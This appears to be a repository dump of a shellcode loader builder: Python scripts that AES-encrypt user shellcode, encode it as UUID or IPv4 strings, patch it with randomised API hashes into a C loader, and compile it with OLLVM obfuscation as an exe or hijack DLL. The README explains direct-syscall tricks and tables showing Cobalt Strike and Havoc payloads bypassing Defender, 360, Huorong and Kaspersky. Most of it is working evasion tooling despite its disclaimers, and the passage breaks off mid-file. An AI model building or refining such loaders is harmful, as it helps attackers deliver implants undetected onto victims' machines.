├── img ├── 1.png ├── 2.png ├── 3.png └── 4.png ├── docs ├── img │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 5.png │ ├── 6.png │ └── 7.png └── README.md ├── pybuilder └── pybuilder │ ├── __pycache__ │ ├── banner.cpython-311.pyc │ ├── patch.cpython-311.pyc │ ├── compiler.cpython-311.pyc │ └── encrypt.cpython-311.pyc │ ├── banner.py │ ├── encrypt.py │ ├── compiler.py │ ├── main.py │ └── patch.py ├── LICENSE └── README.md /img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/img/1.png -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/img/2.png -------------------------------------------------------------------------------- /img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/img/3.png -------------------------------------------------------------------------------- /img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/img/4.png -------------------------------------------------------------------------------- /docs/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/docs/img/1.png -------------------------------------------------------------------------------- /docs/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/docs/img/2.png -------------------------------------------------------------------------------- /docs/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/docs/img/3.png -------------------------------------------------------------------------------- /docs/img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/docs/img/5.png -------------------------------------------------------------------------------- /docs/img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/docs/img/6.png -------------------------------------------------------------------------------- /docs/img/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/docs/img/7.png -------------------------------------------------------------------------------- /pybuilder/pybuilder/__pycache__/banner.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/pybuilder/pybuilder/__pycache__/banner.cpython-311.pyc -------------------------------------------------------------------------------- /pybuilder/pybuilder/__pycache__/patch.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/pybuilder/pybuilder/__pycache__/patch.cpython-311.pyc -------------------------------------------------------------------------------- /pybuilder/pybuilder/__pycache__/compiler.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/pybuilder/pybuilder/__pycache__/compiler.cpython-311.pyc -------------------------------------------------------------------------------- /pybuilder/pybuilder/__pycache__/encrypt.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LilDean17/ShellcodeLoader2025/HEAD/pybuilder/pybuilder/__pycache__/encrypt.cpython-311.pyc -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Lil Dean 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /pybuilder/pybuilder/banner.py: -------------------------------------------------------------------------------- 1 | from pyfiglet import Figlet 2 | 3 | def banner(): 4 | # 生成大字和小字 5 | big_font = Figlet(font='doom', width=200) # 加宽限制防止自动换行 6 | small_font = Figlet(font='small') # 使用更紧凑的mini字体 7 | 8 | # 获取艺术字并分割成行列表 9 | big_text = big_font.renderText('Loader').rstrip('\n') 10 | big_lines = [line.rstrip() for line in big_text.split('\n')] 11 | big_width = max(len(line) for line in big_lines) 12 | big_height = len(big_lines) 13 | 14 | # 生成小号署名并分割成行列表 15 | small_text = small_font.renderText('by lil dean').rstrip('\n') 16 | small_lines = [line.rstrip() for line in small_text.split('\n')] 17 | small_width = max(len(line) for line in small_lines) 18 | small_height = len(small_lines) 19 | 20 | # 计算嵌入位置(右下角) 21 | vertical_pos = max(0, big_height - small_height) # 垂直起始位置 22 | horizontal_pad = big_width - small_width - 2 # 水平右对齐留空(-2为留出间距) 23 | 24 | # 将小字嵌入到大字指定位置 25 | for i in range(small_height): 26 | if vertical_pos + i < big_height: 27 | target_line = vertical_pos + i 28 | # 拼接时保留原有字符 + 自动补空格 + 小字 29 | big_lines[target_line] = big_lines[target_line].ljust(big_width) 30 | big_lines[target_line] += ' ' * horizontal_pad + small_lines[i] 31 | 32 | # 输出最终效果 33 | print('\n'.join(big_lines)) -------------------------------------------------------------------------------- /pybuilder/pybuilder/encrypt.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | from pickle import TRUE 3 | import random 4 | import uuid 5 | from Crypto.Cipher import AES 6 | from ctypes import c_ulong 7 | from ipaddress import ip_address 8 | 9 | def RandomKey(KeyLength): 10 | if KeyLength % 16 != 0 or KeyLength < 0: 11 | print("Key的长度应为16的倍数。") 12 | return -1 13 | source = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' 14 | Length = len(source) - 1 15 | Keys = "" 16 | for i in range(KeyLength): 17 | Keys += source[random.randint(0, Length)] 18 | return Keys.encode("utf-8") 19 | 20 | def AesEncrypt(buf, keys, iv): 21 | # print(len(buf)) 22 | if len(buf)%16 !=0: 23 | # print("\n[*] length:",len(buf)+(16-(len(buf)%16))) 24 | addNullbyte = b"\x00" * (16-(len(buf)%16)) 25 | buf += addNullbyte 26 | aes = AES.new(keys, AES.MODE_CBC, iv) #创建一个aes对象 27 | # AES.MODE_ECB 表示模式是ECB模式 28 | return aes.encrypt(buf) #加密明文 29 | 30 | def UuidEncode(buf): 31 | if len(buf)%16 !=0: 32 | print("\n[*] length:",len(buf)+(16-(len(buf)%16))) 33 | addNullbyte = b"\x00" * (16-(len(buf)%16)) 34 | buf += addNullbyte 35 | UuidList = [] 36 | for i in range(len(buf)//16): 37 | if(len(buf[i*16:i*16+16]) == 0): 38 | ZeroStr = '0' * len(UuidList[0]) 39 | UuidList.append(ZeroStr) 40 | break 41 | b = uuid.UUID(bytes_le=buf[i*16:i*16+16]) 42 | UuidList.append(str(b)) 43 | UuidList.append("0000000000000000000") 44 | return UuidList 45 | 46 | def Ipv4Encode(buf): 47 | if len(buf) % 4 != 0: 48 | NullBytes = b"\x00" * (4-(len(buf)%4)) 49 | buf = buf + NullBytes 50 | buflen = 0 51 | ipv4List = [] 52 | while buflen < len(buf): 53 | now4Bytes = buf[buflen:buflen+4] 54 | ipstr = str(int(now4Bytes[0])) + '.' + str(int(now4Bytes[1])) + '.' + str(int(now4Bytes[2])) + '.' +str(int(now4Bytes[3])) 55 | ipv4List.append(ipstr) 56 | buflen += 4 57 | ipv4List.append("0000000000000000000") 58 | return ipv4List 59 | 60 | 61 | 62 | def HashEx(buf, len, upper, funchash): 63 | Hash = c_ulong(funchash) 64 | for i in range(len): 65 | character = ord(buf[i]) 66 | 67 | if upper: 68 | if character >= ord('a'): 69 | character -= 0x20 70 | 71 | character = c_ulong(character) 72 | Hash.value = ((Hash.value << 5) +(Hash.value)) + character.value 73 | return Hash.value 74 | 75 | -------------------------------------------------------------------------------- /pybuilder/pybuilder/compiler.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | 4 | exec = 0 5 | encode = 0 6 | ftype = 0 7 | 8 | 9 | def compile(cPath,executeMethod,encodeMethod,filetype): 10 | obf_modes = { 11 | "none": "", 12 | 13 | "light": ( 14 | "-mllvm -enable-subobf " 15 | "-mllvm -enable-splitobf " 16 | "-mllvm -split_num=2 " 17 | "-mllvm -enable-cffobf" 18 | ), 19 | 20 | "medium": ( 21 | "-mllvm -enable-subobf " 22 | "-mllvm -sub_loop=2 " 23 | "-mllvm -enable-splitobf " 24 | "-mllvm -split_num=3 " 25 | "-mllvm -enable-cffobf " 26 | "-mllvm -enable-strcry " 27 | "-mllvm -enable-funcwra" 28 | ), 29 | 30 | "full": ( 31 | "-mllvm -enable-subobf " 32 | "-mllvm -sub_loop=3 " 33 | "-mllvm -enable-splitobf " 34 | "-mllvm -split_num=3 " 35 | "-mllvm -enable-cffobf " 36 | "-mllvm -enable-bcfobf " 37 | "-mllvm -bcf_loop=2 " 38 | "-mllvm -bcf_prob=20 " 39 | "-mllvm -enable-strcry " 40 | "-mllvm -enable-indibran " 41 | "-mllvm -enable-funcwra" 42 | ) 43 | } 44 | if executeMethod == "thread": 45 | exec = 1 46 | elif executeMethod == "fiber": 47 | exec = 2 48 | elif executeMethod == "callback": 49 | exec = 3 50 | else: 51 | print("[*] executeMethod 编号转换出现错误 !") 52 | return -1 53 | if encodeMethod == "ipv4": 54 | encode = 1 55 | elif encodeMethod == "uuid": 56 | encode = 2 57 | else: 58 | print("[*] encodeMethod 编号转换出现错误 !") 59 | return -1 60 | 61 | 62 | buildPath = cPath + "build" 63 | if os.path.exists(buildPath): 64 | print("[*] build 目录存在,需要删除 build 下所有文件!") 65 | os.system("cd " + buildPath + "&& del *") 66 | else: 67 | os.system("cd " + cPath + "&& mkdir build") 68 | print("[*] build 目录不存在,已经创建新的 build 目录!") 69 | print("[*] 开始编译!") 70 | if filetype == "exe": 71 | cmake_command = ( 72 | f'cmake -G Ninja ' 73 | f'-DCMAKE_C_COMPILER="clang.exe" ' 74 | f'-DCMAKE_CXX_COMPILER="clang++.exe" ' 75 | f'-DEXECUTE_METHOD={exec} ' 76 | f'-DENCODE_METHOD={encode} ' 77 | f'-DOBFUSCATION_FLAGS="{obf_modes["none"]}" ' 78 | f'..' 79 | ) 80 | elif filetype == "dll": 81 | cmake_command = ( 82 | f'cmake -G Ninja ' 83 | f'-DCMAKE_C_COMPILER="clang.exe" ' 84 | f'-DCMAKE_CXX_COMPILER="clang++.exe" ' 85 | f'-DBUILD_SHARED_LIBS=ON ' 86 | f'-DEXECUTE_METHOD={exec} ' 87 | f'-DENCODE_METHOD={encode} ' 88 | f'-DOBFUSCATION_FLAGS="{obf_modes["medium"]}" ' 89 | f'..' 90 | ) 91 | # 进入 build 目录 92 | os.chdir(buildPath) 93 | # 执行 cmake 94 | subprocess.run(cmake_command, shell=True, check=True) 95 | # 执行 ninja 并彻底静默所有输出(stdout 和 stderr) 96 | with open(os.devnull, "w") as devnull: 97 | subprocess.run("ninja", shell=True, check=True, stderr=subprocess.STDOUT) 98 | 99 | 100 | # cmake -G Ninja -DCMAKE_C_COMPILER=clang.exe -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_ASM_MASM_COMPILER=ml.exe .. 101 | -------------------------------------------------------------------------------- /pybuilder/pybuilder/main.py: -------------------------------------------------------------------------------- 1 | import os 2 | # 保存当前代码页 3 | original_codepage = os.popen("chcp").read().strip() 4 | # 更改代码页为 UTF-8 5 | os.system("chcp 65001") 6 | import encrypt 7 | import patch 8 | import random 9 | import compiler 10 | import argparse 11 | import banner 12 | 13 | parser = argparse.ArgumentParser() 14 | # 在参数构造器中添加两个命令行参数 15 | parser.add_argument('--i', type=str, default="shellcode文件路径") 16 | parser.add_argument('--exec', type=str, default="callback") # 默认线程执行 1:thread 2:fiber 3:callback 17 | parser.add_argument('--encode', type=str, default="uuid") # 默认线程执行 1:ipv4 2:uuid 18 | parser.add_argument('--file', type=str, default="dll") # 默认线程执行 1:exe 2:dll 19 | parser.add_argument('--export', type=str, default="导出函数文件路径") # 默认线程执行 1:exe 2:dll 20 | args = parser.parse_args() 21 | 22 | banner.banner() 23 | 24 | FilePath = args.i 25 | executeMethod = args.exec 26 | encodeMethod = args.encode 27 | filetype = args.file 28 | exportPath = args.export 29 | 30 | if args.file == "exe": 31 | cPath = "../../cLoader/cLoader/" 32 | print("[*] 源文件路径:" + cPath) 33 | elif args.file == "dll": 34 | cPath = "../../cLoader/cDll/" 35 | print("[*] 源文件路径:" + cPath) 36 | if exportPath is not None: 37 | print("[*] 导出函数文件地址:" + exportPath) 38 | 39 | 40 | keyAndivPath = cPath + "include/cLoader.h" 41 | PatchPath = cPath + "src/cLoader.cpp" 42 | DefinePath = cPath + "include/define.h" 43 | 44 | 45 | if FilePath is not None: 46 | print("[*] shellcode bin 文件路径:" + FilePath) 47 | with open(FilePath, "rb") as f: 48 | ShellCode = f.read() # 初始化shellcode 49 | 50 | Keys = encrypt.RandomKey(32) # 初始化aes密钥 51 | print("[*] 初始化 aes 密钥为:" + str(Keys)+ "!") 52 | iv = encrypt.RandomKey(16) # 初始化aesIv 53 | print("[*] 初始化 iv 为:" + str(iv)+ "!") 54 | funchash = random.randint(1,9999) # 初始化函数hash密钥 55 | 56 | if filetype == "dll": 57 | if patch.ClearExportFunc(keyAndivPath) == 1: 58 | print("[*] 成功清楚源文件中原有的导出函数!") 59 | if patch.PatchKeyAndIv(keyAndivPath,Keys,iv,exportPath) == 1: 60 | print("[*] 成功 patch aes 密钥和 iv 到源文件!") 61 | elif filetype == "exe": 62 | if patch.PatchKeyAndIv(keyAndivPath,Keys,iv,1) == 1: 63 | print("[*] 成功 patch aes 密钥和 iv 到源文件!") 64 | 65 | # 加密shellcode 66 | if Keys != -1: 67 | ShellCode = encrypt.AesEncrypt(ShellCode, Keys, iv) # aes加密 68 | print("[*] aes 加密后,shellcode 长度:" + str(len(ShellCode))) 69 | if encodeMethod == "ipv4": 70 | ipv4List = encrypt.Ipv4Encode(ShellCode) 71 | print("[*] ipv4 编码后,列表长度:" + str(len(ipv4List))) 72 | elif encodeMethod == "uuid": 73 | UuidList = encrypt.UuidEncode(ShellCode) # uuid编码 74 | print("[*] uuid 编码后,列表长度:" + str(len(UuidList))) 75 | 76 | # patch shellcode 77 | if encodeMethod == "ipv4": 78 | if patch.PatchIpv4List(PatchPath,ipv4List,filetype) == -100: 79 | print("[*] 检测到源文件包含 ipv4/uuid 列表,需要清理!") 80 | if patch.ClearUuidIpv4List(PatchPath,filetype) == 1: 81 | print("[*] 源文件 ipv4/uuid 列表已经清理成功!") 82 | if patch.PatchIpv4List(PatchPath, ipv4List, filetype) == 1: 83 | print("[*] 源文件 ipv4 列表已经 patch 成功!") 84 | elif encodeMethod == "uuid": 85 | # Patch uuidShellCode 86 | if patch.PatchUuidList(PatchPath, UuidList, filetype) == -100: 87 | print("[*] 检测到源文件包含 ipv4/uuid 列表,需要清理!") 88 | if patch.ClearUuidIpv4List(PatchPath,filetype) == 1: 89 | print("[*] 源文件 ipv4/uuid 列表已经清理成功!") 90 | if patch.PatchUuidList(PatchPath, UuidList, filetype) == 1: 91 | print("[*] 源文件 uuid 列表已经 patch 成功!") 92 | 93 | 94 | # patch FunctionHash 和key 95 | if patch.PatchFunctionHash(DefinePath,funchash) == 1: 96 | print("[*] 源文件函数哈希已经 patch 成功!") 97 | 98 | # 编译 99 | compiler.compile(cPath,executeMethod,encodeMethod,filetype) 100 | 101 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #### 静态混淆策略 2 | 3 | - 函数哈希的随机化:将一些静态数据如函数哈希和密钥/iv 做了随机化处理,确保每一次生成的 loader 的静态数据都是不唯一的。 4 | 5 | - shellcode 加密编码:aes 加密 uuid/ipv4 编码。 6 | 7 | - ollvm 混淆:使用 clang 编译器,支持 ollvm 混淆功能。 8 | 9 | - 动态混淆策略:使用到了开源 syscall 工具 hell’s gate,结合本项目,其详细功能如下: 10 | 11 | - 动态解析 ssn 号:遍历 ntdll 导出表。(动态解析 ssn 号,能防止源码嵌入 ssn 号而提取静态特征。) 12 | 13 | - 直接 syscall:动态获取 nt 函数地址并进行 0x12 偏移来提取多个 syscall 地址。 14 | 15 | 16 | - 项目拓展:支持根据导出表生成 dll 文件。 17 | 18 | 19 | #### 安全软件测试结果 20 | 21 | ​ 本项目设计目标之一是验证相同的静态混淆策略对主流终端安全软件的触发行为差异,以评估各加载方式的有效性与隐蔽性。 22 | 23 | ##### 测试环境 24 | 25 | - windows 10 22H2(x64) 26 | - 测试平台:VMware 17 27 | - 是否接入互联网:是 28 | - 测试样本(被控端代理程序): 29 | - cobaltstrike 4.8 beacon 30 | - havoc demon 31 | - 安全软件版本 32 | - Microsoft Defender(客户端版本: 4.18.1909.6) 33 | - 360 安全卫士(版本:13.0.0.2009) 34 | - 火绒安全(个人版:6.0.6.6,病毒库:2025.6.28) 35 | - 卡巴斯基(企业版:kes 11.6.0.394) 36 | 37 | ##### 测试方式说明 38 | 39 | | 阶段 | 说明 | 40 | | -------- | ------------------------------------------------------------ | 41 | | 静态查杀 | 下载 loader 可执行文件并执行后是否触发报毒。 | 42 | | 解密解码 | 解密解码 shellcode 后是否触发报毒 | 43 | | 执行阶段 | 开始执行是否触发报毒 | 44 | | 执行后 | 执行后进行常规操作是否触发报毒(这里采用读取文件信息进行测试) | 45 | | 敏感操作 | 执行后进行敏感操作是否触发报毒(这里采 用读取系统进程信息进行测试) | 46 | 47 | ##### 测试结果 48 | 49 | cobaltstrike 4.8 beacon 测试结果 50 | 51 | | 安全软件 | 文件类型 | 静态查杀 | 解密解码 | 执行阶段 | 执行后 | 敏感操作 | 52 | | ------------------ | -------------- | -------------------------------- | ------------------------------- | --------- | ------- | -------- | 53 | | Microsoft Defender | exe 可执行文件 | ❌触发扫描,但未报毒 | ❌内存明文存放 shellcode,未报毒 | ✔️立刻报毒 | 无 | 无 | 54 | | Microsoft Defender | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 55 | | 360 安全卫士 | exe 可执行文件 | ❌主动扫描,未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 56 | | 360 安全卫士 | dll 劫持 | ✔️立刻报毒,标记为检测到 dll 劫持 | 无 | 无 | 无 | 无 | 57 | | 火绒安全个人版 | exe 可执行文件 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 58 | | 火绒安全个人版 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 59 | | 卡巴斯基企业版 | exe 可执行文件 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 60 | | 卡巴斯基企业版 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 61 | 62 | havoc demon 测试结果 63 | 64 | | 安全软件 | 文件类型 | 静态查杀 | 解密解码 | 执行阶段 | 执行后 | 敏感操作 | 65 | | ------------------ | -------------- | ------------------- | ------------------------------- | -------- | ------- | -------- | 66 | | Microsoft Defender | exe 可执行文件 | ❌触发扫描,但未报毒 | ❌内存明文存放 shellcode,未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 67 | | Microsoft Defender | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 68 | | 360 安全卫士 | exe 可执行文件 | ❌主动扫描,未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 69 | | 360 安全卫士 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 70 | | 火绒安全个人版 | exe 可执行文件 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 71 | | 火绒安全个人版 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 72 | | 卡巴斯基企业版 | exe 可执行文件 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 73 | | 卡巴斯基企业版 | dll 劫持 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | ❌未报毒 | 74 | 75 | ⚠️注:以上测试仅用作数据参考,不代表安全产品的优劣。 76 | 77 | #### 测试结果分析 78 | 79 | ##### C2 框架测试结果对比 80 | 81 | | 对比维度 | cobaltstrike 4.8 beacon | havoc demon | 82 | | :--------------- | :---------------------------------------------- | :--------------------- | 83 | | 静态检测风险 | 高(即使高强度加密编码,仍能被 360 启发式识别) | 极低(无法识别) | 84 | | 内存行为检测风险 | 高(Defender 捕获 exe 内存特征可以识别) | 极低(无法识别) | 85 | | 感知强度 | 高(安全厂商针对性研究) | 极低(全平台规避监测) | 86 | 87 | ##### 各大厂商安全软件测试结果对比 88 | 89 | | 安全厂商 | 查杀方式类别 | 对 beacon 的响应 | 对 demon 的响应 | 查杀策略水平评估 | 初步技术判断/推测机制 | 90 | | ------------------ | --------------------------- | ---------------------------------- | --------------- | ---------------- | --------------------- | 91 | | Microsoft Defender | 内存行为感知 + 部分特征扫描 | ✔️ 执行阶段立刻报毒 | ❌ 全程绕过 | ⭐⭐⭐⭐(4/5) | 监控内存 + 内存扫描 | 92 | | 360 安全卫士 | 启发式判定 | ✔️ dll 劫持加载瞬间拦截,exe 无响应 | ❌ 全程绕过 | ⭐⭐⭐(3/5) | 启发式判定系统评估 | 93 | | 火绒安全软件 | 以防护为主 | ❌ 全程绕过 | ❌ 全程绕过 | ⭐⭐(2/5) | 未知 | 94 | | 卡巴斯基企业版 | 未知 | ❌ 全程绕过 | ❌ 全程绕过 | ⭐⭐(2/5) | 未知 | 95 | 96 | #### 使用方法 97 | 98 | ##### 运行环境 99 | 100 | - Python:3.11.0 101 | - ninja:1.12.0.git 102 | - ollvm-clang:https://github.com/lux-QAQ/ollvm-clang21.0 103 | - vs 2022 C++ 桌面开发环境 104 | - python 库:pycryptodome=3.20.0 105 | - python 库:pyfiglet=1.0.2 106 | 107 | 注:以上是本人使用的运行环境,仅仅作为参考。 108 | 109 | ##### 支持参数 110 | 111 | - --i:用于输入 shellcode.bin 文件。 112 | - shellcode 的 文件路径。 113 | - --exec:用于设置执行方式。 114 | - thread:创建线程执行 shellcode。 115 | - fiber:创建纤程执行 shellcode。 116 | - callback:Winapi 回调函数执行 shellcode。 117 | - --encode: 118 | - ipv4:用于将加密的 shellcode 编码成 ipv4 地址。 119 | - uuid:用于将加密的 shellcode 编码成 uuid 地址。 120 | - --file: 121 | - exe:用于指定生成 exe 文件。 122 | - dll:用于指定生成 dll 文件。 123 | - --export(仅在生成 dll 文件情况下生效): 124 | - 文件路径:用于指定 dll 文件的导出函数。 125 | 126 | ![image-20250630143220985](img/1.png) 127 | 128 | 其中 --export 导出函数文件存储如下示例内容: 129 | 130 | ![image-20250630143343116](img/2.png) 131 | 132 | ##### 构建过程 133 | 134 | 使用如上默认配置进行构建,python 将执行如下操作进行构建: 135 | 136 | 配置注入: 137 | 138 | - 获取 loader 的项目路径(c 语言) 。 139 | - 获取 shellcode.bin 文件路径,读取、加密、编码并 patch 到源文件。 140 | - 初始化 aes 密钥和 iv,并 patch 到源文件。 141 | - 初始化 Winapi 函数哈希,并 patch 到源文件。 142 | 143 | 编译 loader: 144 | 145 | - 构建并编译 loader。 146 | 147 | ![image-20250630143410412](img/3.png) 148 | 149 | 构建完成后,在 build 目录下会生成 loader。 150 | 151 | ![image-20250630143410412](img/4.png) 152 | 153 | #### 项目价值与边界 154 | 155 | ##### 应用场景价值 156 | 157 | ​ 本项目设计初衷为在合法授权的环境中,用作以下内容的研究与评估: 158 | 159 | - 安全软件测试评估:测试安全软件在严苛的静态对抗环境下的检测能力。 160 | - 安全软件行为研究:测试安全软件用于检测威胁的技术方式。 161 | - 教学与演示:适合作为教学样例,展示设计架构和静态混淆技术。 162 | - 提供数据:向研究人员提供数据参考。 163 | 164 | ##### 合规边界声明 165 | 166 | ​ 本项目不包含任何恶意 payload 或远控功能,仅提供 loader 框架和加密封装机制,所有测试 payload 必须由用户在合法授权环境下自行提供,且尽在授权环境中使用。 167 | 168 | ##### 作者声明 169 | 170 | - 本人不对任何非法使用本项目代码所产生的后果负责。 171 | - 严禁在未授权的目标环境中部署与测试。 172 | - 若您是安全厂商/研究人员,欢迎就技术实现展开探讨。 173 | 174 | #### 声明与许可 175 | 176 | ##### 项目免责声明 177 | 178 | ​ 本项目仅供安全研究、教育教学和防御评估。不得将其用于任何非法用途,包括但不仅限于未授权渗透、后门植入等。所有示例均在授权环境下进行测试。 179 | -------------------------------------------------------------------------------- /pybuilder/pybuilder/patch.py: -------------------------------------------------------------------------------- 1 | from asyncio.windows_events import NULL 2 | import re 3 | import encrypt 4 | import os 5 | 6 | def PatchUuidList(path, list, filetype): 7 | cUuidStr = "const char* uuids[] ={" 8 | for UUID in list: 9 | cUuidStr += "\""+UUID+"\""+"," 10 | cUuidStr += "};\n" 11 | count = 0 12 | with open(path, "r", encoding="utf-8") as f: 13 | lines = f.readlines() 14 | for line in lines: 15 | count += 1 16 | if re.search(r'ipv4\[]', line) or re.search(r'uuids\[]', line): 17 | return -100 # 需要clear 18 | if filetype == "exe": 19 | if re.search(r'main()', line): 20 | PatchCount = count - 1 21 | elif filetype == "dll": 22 | if re.search(r'DllMain', line): 23 | PatchCount = count - 1 24 | lines.insert(PatchCount, cUuidStr) 25 | 26 | with open(path, "w", encoding="utf-8") as f: 27 | f.writelines(lines) 28 | return 1 29 | 30 | def PatchIpv4List(path, list, filetype): 31 | cIpv4Str = "const char* ipv4[] ={" 32 | for IPV4 in list: 33 | cIpv4Str += "\""+IPV4+"\""+"," 34 | cIpv4Str += "};\n" 35 | count = 0 36 | with open(path,"r",encoding="utf-8") as f: 37 | lines = f.readlines() 38 | for line in lines: 39 | count += 1 40 | if re.search(r'uuids\[]', line) or re.search(r'ipv4\[]',line): 41 | return -100 # 需要clear 42 | if filetype == "exe": 43 | if re.search(r'main()', line): 44 | PatchCount = count - 1 45 | elif filetype == "dll": 46 | if re.search(r'DllMain', line): 47 | PatchCount = count - 1 48 | lines.insert(PatchCount, cIpv4Str) 49 | with open(path, "w", encoding="utf-8") as f: 50 | f.writelines(lines) 51 | return 1 52 | 53 | 54 | def ClearUuidIpv4List(path,filetype): 55 | NullStr = "\n" 56 | count = 0 57 | with open(path, "r", encoding="utf-8") as f: 58 | lines = f.readlines() 59 | for line in lines: 60 | count += 1 61 | if filetype == "exe": 62 | if re.search(r'main()', line): 63 | PatchCount = count - 1 64 | elif filetype == "dll": 65 | if re.search(r'DllMain', line): 66 | PatchCount = count - 1 67 | 68 | with open(path, "w", encoding="utf-8") as f: 69 | count = 0 70 | for line in lines: 71 | if(count != PatchCount - 1): 72 | f.write(lines[count]) 73 | count += 1 74 | return 1 75 | 76 | def PatchFunctionHash(path,funchash): 77 | distFucHash = {'ntdll.dll':'', 78 | 'KERNEL32.dll':'', 79 | 'RtlIpv4StringToAddressA':'', 80 | 'LdrFastFailInLoaderCallout':'', 81 | 'RtlLeaveCriticalSection':'', 82 | 'RtlRandom':'', 83 | 'LdrGetDllFullName':'', 84 | 'ZwOpenThread':'', 85 | 'ZwOpenProcess':'', 86 | 'ZwWaitForSingleObject':'', 87 | 'ZwAllocateVirtualMemory' :'', 88 | 'ZwWriteVirtualMemory':'', 89 | 'ZwFreeVirtualMemory':'', 90 | 'ZwProtectVirtualMemory':'', 91 | 'ZwReadVirtualMemory':'', 92 | 'ZwSignalAndWaitForSingleObject':'', 93 | 'ZwClose':'', 94 | 'ZwCreateThreadEx':'', 95 | 'rpcrt4.dll':'', 96 | 'UuidFromStringA':'', 97 | 'LdrLoadDll':'', 98 | 'FreeLibrary':'', 99 | 'EnumCalendarInfoExA':'', 100 | 'ConvertThreadToFiber':'', 101 | 'CreateFiber':'', 102 | 'SwitchToFiber':'', 103 | 'FreeConsole':'', 104 | 'NtCurrentProcess()':'((HANDLE)(LONG_PTR)-1)', 105 | 'NtCurrentThread()':'( ( HANDLE ) ( LONG_PTR ) - 2 )', 106 | 'FUNC_HASH':'' 107 | } 108 | list = ['#include \n'] 109 | for key in distFucHash.keys(): 110 | if re.search(r'Zw',key): 111 | distFucHash[key] = encrypt.HashEx(key,len(key),1,funchash) 112 | line = "#define" + "\t" + "_Sys" + key + "\t" + str(distFucHash[key]) + "\n" 113 | list.append(line) 114 | elif re.search(r'Current',key): 115 | line = "#define" + "\t" + key + "\t" + str(distFucHash[key]) + "\n" 116 | list.append(line) 117 | elif re.search(r'ntdll.dll',key): 118 | distFucHash[key] = encrypt.HashEx(key,len(key),1,funchash) 119 | line = "#define" + "\t" + "_Ntdll" + "\t" + str(distFucHash[key]) + "\n" 120 | list.append(line) 121 | elif re.search(r'rpcrt4.dll',key): 122 | distFucHash[key] = encrypt.HashEx(key,len(key),1,funchash) 123 | line = "#define" + "\t" + "_Rpcrt4" + "\t" + str(distFucHash[key]) + "\n" 124 | list.append(line) 125 | elif re.search(r'KERNEL32.dll',key): 126 | distFucHash[key] = encrypt.HashEx(key,len(key),1,funchash) 127 | line 